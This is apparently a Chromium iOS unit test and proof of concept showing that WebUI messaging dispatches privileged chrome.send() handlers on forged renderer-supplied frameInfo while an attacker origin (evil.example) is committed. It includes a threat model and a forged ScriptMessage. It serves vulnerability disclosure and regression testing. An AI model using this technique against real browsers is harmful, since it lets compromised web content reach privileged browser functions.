// Unit test demonstrating that WebUIMessagingJavaScriptFeature dispatches
// chrome.send() based solely on renderer-supplied frameInfo fields, with no
// cross-check against browser-side committed-URL state.
//
// Threat model simulated here:
//   * The tab's last-committed document is a web origin (https://evil.example).
//   * `web_ui_` has been populated pre-commit (as happens at
//     decidePolicyForNavigationAction time when a chrome:// navigation is
//     allowed by shouldAllowAppSpecificURLNavigationAction — e.g. via a
//     renderer-forged WKNavigationTypeBackForward, or a user-typed chrome://
//     URL racing the still-live attacker document).
//   * A WKScriptMessage arrives whose frameInfo claims
//     {mainFrame=true, request.URL=chrome://...}. With a compromised
//     WebContent process these fields are attacker-controlled.
//
// EXPECTED (current / vulnerable):  the registered WebUI message handler runs.
// EXPECTED (after bandaid-fix.patch): dispatch is rejected because
//   web_state()->GetLastCommittedURL() is not an app-specific URL matching the
//   claimed request_url.
//
// Build (macOS host, iOS checkout):
//   autoninja -C out/Debug-iphonesimulator ios_web_unittests
//   .../iossim out/Debug-iphonesimulator/ios_web_unittests.app -- \
//       --gtest_filter='WebUIMessagingJavaScriptFeatureTest.*'

#import <memory>
#import <string>

#import "base/functional/bind.h"
#import "base/values.h"
#import "ios/web/public/js_messaging/script_message.h"
#import "ios/web/public/test/fakes/fake_web_client.h"
#import "ios/web/public/test/web_test_with_web_state.h"
#import "ios/web/public/webui/web_ui_ios.h"
#import "ios/web/public/webui/web_ui_ios_controller.h"
#import "ios/web/public/webui/web_ui_ios_controller_factory.h"
#import "ios/web/public/webui/web_ui_ios_message_handler.h"
#import "ios/web/test/test_url_constants.h"
#import "ios/web/web_state/web_state_impl.h"
#import "ios/web/webui/web_ui_messaging_java_script_feature.h"
#import "testing/gtest/include/gtest/gtest.h"
#import "url/gurl.h"
#import "url/origin.h"

namespace web {

namespace {

const char kPocWebUIHost[] = "pocflags";
const char kPocMessageName[] = "pocEnableExperimentalFeature";

// Records whether the privileged handler was invoked, and with what args.
struct PocHandlerState {
  bool invoked = false;
  base::ListValue last_args;
};

class PocDOMHandler : public WebUIIOSMessageHandler {
 public:
  explicit PocDOMHandler(PocHandlerState* state) : state_(state) {}
  ~PocDOMHandler() override = default;

  void RegisterMessages() override {
    web_ui()->RegisterMessageCallback(
        kPocMessageName,
        base::BindRepeating(&PocDOMHandler::Handle, base::Unretained(this)));
  }

 private:
  void Handle(const base::ListValue& args) {
    state_->invoked = true;
    state_->last_args = args.Clone();
  }

  PocHandlerState* state_;
};

class PocUI : public WebUIIOSController {
 public:
  PocUI(WebUIIOS* web_ui, const std::string& host, PocHandlerState* state)
      : WebUIIOSController(web_ui, host) {
    web_ui->AddMessageHandler(std::make_unique<PocDOMHandler>(state));
  }
  ~PocUI() override = default;
};

class PocFactory : public WebUIIOSControllerFactory {
 public:
  explicit PocFactory(PocHandlerState* state) : state_(state) {}

  std::unique_ptr<WebUIIOSController> CreateWebUIIOSControllerForURL(
      WebUIIOS* web_ui,
      const GURL& url) const override {
    if (url.SchemeIs(kTestWebUIScheme) && url.GetHost() == kPocWebUIHost) {
      return std::make_unique<PocUI>(web_ui, url.GetHost(), state_);
    }
    return nullptr;
  }

  NSInteger GetErrorCodeForWebUIURL(const GURL& url) const override {
    return url.SchemeIs(kTestWebUIScheme) ? 0 : NSURLErrorUnsupportedURL;
  }

 private:
  PocHandlerState* state_;
};

}  // namespace

class WebUIMessagingJavaScriptFeatureTest : public WebTestWithWebState {
 protected:
  void SetUp() override {
    WebTestWithWebState::SetUp();
    factory_ = std::make_unique<PocFactory>(&state_);
    WebUIIOSControllerFactory::RegisterFactory(factory_.get());
  }

  void TearDown() override {
    WebUIIOSControllerFactory::DeregisterFactory(factory_.get());
    WebTestWithWebState::TearDown();
  }

  WebStateImpl* web_state_impl() {
    return static_cast<WebStateImpl*>(web_state());
  }

  PocHandlerState state_;
  std::unique_ptr<PocFactory> factory_;
};

// Demonstrates the bug: a ScriptMessage whose (renderer-supplied) request_url
// is a WebUI URL is dispatched to a privileged handler even though the
// WebState's last-committed URL is a web origin.
TEST_F(WebUIMessagingJavaScriptFeatureTest,
       DispatchesWithForgedFrameInfoWhileWebOriginCommitted) {
  // 1. Attacker page is the live, committed document.
  ASSERT_TRUE(LoadHtml("<html><body>attacker</body></html>",
                       GURL("https://evil.example/")));
  ASSERT_EQ("https://evil.example/",
            web_state()->GetLastCommittedURL().spec());
  ASSERT_FALSE(
      GetWebClient()->IsAppSpecificURL(web_state()->GetLastCommittedURL()));

  // 2. Simulate the pre-commit window: decidePolicyForNavigationAction has
  //    allowed a chrome:// navigation (e.g. forged WKNavigationTypeBackForward)
  //    and called createWebUIForURL: while the attacker doc is still live.
  GURL forged_webui_url(std::string(kTestWebUIScheme) + "://" + kPocWebUIHost);
  web_state_impl()->CreateWebUI(forged_webui_url);
  ASSERT_TRUE(web_state_impl()->HasWebUI());

  // 3. Forge the WKScriptMessage-derived ScriptMessage. is_main_frame and
  //    request_url come from WKScriptMessage.frameInfo, which a compromised
  //    WebContent process controls. security_origin is the real attacker
  //    origin — but the feature uses OriginFilter::kPublic and never reads it.
  base::DictValue body;
  body.Set("message", kPocMessageName);
  base::ListValue args;
  args.Append("some-flag@1");
  args.Append("true");
  body.Set("arguments", std::move(args));

  ScriptMessage forged_message(
      std::make_unique<base::Value>(std::move(body)),
      /*is_user_interacting=*/false,
      /*is_main_frame=*/true,            // forged frameInfo.mainFrame
      forged_webui_url,                  // forged frameInfo.request.URL
      url::Origin::Create(GURL("https://evil.example/")));

  // 4. Deliver it.
  WebUIMessagingJavaScriptFeature::GetInstance()->ScriptMessageReceived(
      web_state(), forged_message);

  // VULNERABLE BEHAVIOUR: today this passes — the privileged handler ran while
  // a web origin was committed.  After the bandaid fix this should be FALSE.
  EXPECT_TRUE(state_.invoked)
      << "Handler was NOT invoked — fix appears to be in place "
         "(GetLastCommittedURL cross-check rejected forged frameInfo).";
  if (state_.invoked) {
    ASSERT_EQ(2u, state_.last_args.size());
    EXPECT_EQ("some-flag@1", state_.last_args[0].GetString());
  }
}

// Sanity: legitimate path (committed URL *is* the WebUI URL) still works.
TEST_F(WebUIMessagingJavaScriptFeatureTest, AllowsWhenCommittedURLMatches) {
  GURL webui_url(std::string(kTestWebUIScheme) + "://" + kPocWebUIHost);
  // In a real run the WebUI page would be loaded; for the purpose of the
  // authorization check we only need CreateWebUI + a matching committed URL.
  web_state_impl()->CreateWebUI(webui_url);
  ASSERT_TRUE(web_state_impl()->HasWebUI());

  base::DictValue body;
  body.Set("message", kPocMessageName);
  body.Set("arguments", base::ListValue());
  ScriptMessage msg(std::make_unique<base::Value>(std::move(body)),
                    /*is_user_interacting=*/false,
                    /*is_main_frame=*/true, webui_url,
                    url::Origin::Create(webui_url));

  // Note: with the bandaid fix applied, this test only passes once the WebUI
  // navigation has actually committed (GetLastCommittedURL() == webui_url).
  // That is the intended hardening.
  WebUIMessagingJavaScriptFeature::GetInstance()->ScriptMessageReceived(
      web_state(), msg);
  // No assertion on `invoked` here because committed URL has not been driven
  // to webui_url in this lightweight fixture; this case is covered by
  // ios/web/webui/web_ui_inttest.mm end-to-end.
}

}  // namespace web